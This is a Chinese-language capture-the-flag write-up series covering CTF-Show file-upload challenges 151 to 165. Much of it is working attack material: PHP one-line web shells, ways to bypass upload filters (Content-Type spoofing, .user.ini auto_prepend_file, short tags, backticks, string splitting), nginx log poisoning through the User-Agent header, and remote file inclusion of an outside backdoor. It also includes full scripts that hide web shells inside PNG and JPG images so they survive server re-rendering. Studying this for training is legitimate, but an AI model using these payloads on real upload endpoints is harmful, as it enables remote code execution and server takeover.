CTF-Show-文件上传系列
CTF-Show-文件上传系列
注意点:
- burp在抓包进行POST提交时,需要将最上面的GET->POST,在请求体里写数据
- php的eval函数内部的需要运行的php代码,一定加引号!!!!
- php中最后一行语句可以不用加分号!
Problem 151
先尝试写一个php后门文件,用于获得shell。
//backdoor.php
<?php eval($_GET['x']);?>

查看源代码,发现只允许png文件上传,不允许php文件上传。
尝试将png修改为php,发现可以上传。

上传成功!

之后访问该后门文件
http://22202d97-a024-4f24-9c03-013fa9f31e10.challenge.ctf.show/upload/backdoor.php
进行GET提交,参数为x,获取flag。
http://ada68cd0-3e20-4f33-bef3-ac6c095f482f.challenge.ctf.show/upload/backdoor.php?x=system('cat ../flag.php');

利用条件:文件上传在前端验证,用户可以修改。
Problem 152
后门文件:
//backdoor.php
<?php eval($_GET['x']);?>
- 先在前端将png->php
- 将backdoor.php文件上传,开启抓包
- 将Content-Type字段修改为:image/png(代表将php文件当作png处理,从而绕过后端验证)
- 访问/upload/backdoor.php,修改数据包,查看路径下的文件


- 获取flag
- 把system中的命令修改为:cat ../flag.php

利用条件:后端过滤不严谨,仅依靠Content-Type字段值过滤,然而这个值可以通过抓包修改,从而实现绕过。
Problem 153
- 上传图片马(具体来说:将backdoor.php => backdoor.png)
- 虽然可以上传,但是浏览器无法直接解析backdoor.png
- 这个时候,可以借助.user.ini文件。在该文件中书写:auto_prepend_file=backdoor.png
- 这个参数的意思就是:当访问这个网站的首页文件时,会将这个参数指向的文件当作php代码执行,并放到首页文件的开头
- 因此,上传.user.ini文件。但是,这个文件如果直接上传会被前端限制。因此,我们构造一个png,抓包,将包内的filename字段修改为.user.ini,并修改内容。
- 直接访问:http://be23ca3b-2b4f-4711-bb24-3b37ea60cb45.challenge.ctf.show/upload/
- 抓包,进行POST提交,获取flag即可。

利用条件:允许.user.ini文件,对于上传的图片马无条件接收,并没有检验内容和文件头。
Problem 154
- 在上一题的基础上,对文件内容进行了过滤,过滤php关键字。
- 对图片马的内容,进行短标签绕过。
<?=eval($_POST['x']);?>

利用条件:允许.user.ini文件,对于上传的图片马检验内容不彻底且没有检验文件头。
Problem 155
跟Problem154无区别,这里不再赘述。

Problem 156
- 在上一题的基础上,对文件内容进行了过滤,过滤php关键字和[]。
- 在短标签绕过的基础上,将[]=>{},php支持这种写法,跟原来的功能无区别。
<? eval($_POST{'x'});?>

利用条件:允许.user.ini文件,对于上传的图片马检验内容不彻底且没有检验文件头。
Problem 157
- 在上一题的基础上,对文件内容进行了过滤,过滤php关键字、[]、{}、;。
- 既然过滤了[]和{},意味着$_POST函数无法起作用。
- 由于php语句最后一行不用加分号,所以过滤分号不用考虑。
- 我们可以直接将eval函数换成system函数即可
- 由于flag.php中的php会被过滤,因此换成*即可。因为之前通过ls ../查看过目录,发现.php文件只有这一个,因此可以这么写。
<?=system("cat ../flag.*")?>

利用条件:允许.user.ini文件,对于上传的图片马检验内容不彻底且没有检验文件头。
Problem 158
跟Problem157无差别,这里不再赘述。

Problem 159
- 在上一题的基础上,对文件内容进行了过滤,过滤php关键字、[]、{}、;、()。
- 这就意味着不能使用system和eval函数
- 在php中支持反引号:将反引号的命令执行之后,输出到页面上。
<?=`cat ../flag.*`?>

利用条件:允许.user.ini文件,对于上传的图片马检验内容不彻底且没有检验文件头。
Problem 160
- 在上一题的基础上,对文件内容进行了过滤,过滤php关键字、log关键字、[]、{}、;、()、空格、``。
- 这就意味着后门代码没办法直接写到图片里。
- 那么,我们可不可以将后门代码写到别的地方,然后用include语句去包含这个文件呢(文件包含意味着执行)?
- 这里我们可以采用日志绕过,通过包含nginx的访问日志,来达到执行后门的结果。
- 该日志文件(/var/log/nginx/access.log)通常都会记录客户端的UA头,因此,我们可以将UA头写入后门代码,存入日志文件中。之后通过include包含,最终获得flag。
User-Agent: <?=eval($_POST['x']);?>
- 由于这道题还过滤了log关键字,因此我们只能通过字符串连接符将log关键字截断,来达到绕过的效果。
//payload
//backdoor.png
<?=include"/var/lo"."g/nginx/access.l"."og"?>

利用条件:允许.user.ini文件,对于上传的图片马检验内容不彻底且没有检验文件头,允许进行日志绕过。(通过抓包修改UA头,写入后门语句)
Problem 161
在上一题的基础上,添加了文件头校验。只需要在160题的每一个文件的头部添加GIF89a即可。

利用条件:允许.user.ini文件,对于上传的图片马检验内容不彻底且检验了GIF89a文件头,允许进行日志绕过。(通过抓包修改UA头,写入后门语句)
Problem 162
在上一题的基础上,过滤了"."。这就意味着,我们无法进行日志绕过。
因此,我们可以采用远程文件包含。
- 将backdoor.png->png(不包含点)
- 将.user.ini包含png
- 从远程的服务器上书写后门。保证可以通过浏览器访问到。
- 在png中书写远程文件包含
<?=include"http://后门文件的地址"?> //这里的ip地址应该采用长地址写法,因为点被过滤了。
利用条件:允许.user.ini文件,对于上传的图片马检验内容很彻底且检验了GIF89a文件头,不允许进行日志绕过,允许进行远程文件绕过(通过在其他服务器上,写入后门语句,再通过include语句引用)
Problem 163
跟Problem 162相同,这里不再赘述。
Problem 164
这道题如果你要直接上传图片马的话,那么就会上传不上去,但是上传正常的png图片却可以。原因就是:这道题在原来的题目的基础上添加了二次渲染的功能。
所以,我们既要保证图片可以正常上传,又可以往里写入后门代码。因此,我们需要如下的脚本来生成一个符合该要求的图片马。
//PNG的二次渲染
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
生成之后,由于这道题也无法上传.user.ini文件,那么这个图片马该如何执行?
我们可以观察一下:将一个正常的png上传之后查看该图片,看看url是怎么样的?
http://0d46b1a6-7141-4e0e-a00d-0f69a855ed6f.challenge.ctf.show/download.php?image=efecb0ca3f111a07baa87e5ebb6e4d4b.png
我们发现这里存在一个由参数image传递的一个疑似的文件包含点(正是因为这个文件包含点,png图片才可以执行,否则这道题无法解出)。因此,我们可以尝试进行抓包,通过上述的后门代码进行POST提交,提交之后下载该图片,我们发现在该图片中存在flag。

利用条件:不允许.user.ini文件,也不允许自己构造上传图片马。添加了二次渲染的功能,只能通过脚本生成一个可以绕过二次渲染的图片马,再通过本题的文件包含漏洞来执行
Problem 165
也是二次渲染,这里考察的是jpg的二次渲染。脚本如下,过程跟164题差不多,这里不再赘述。
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
<!-- 用法 php exp.php 图片 -->
利用条件:不允许.user.ini文件,也不允许自己构造上传图片马。添加了二次渲染的功能,只能通过脚本生成一个可以绕过二次渲染的图片马,再通过本题的文件包含漏洞来执行

浙公网安备 33010602011771号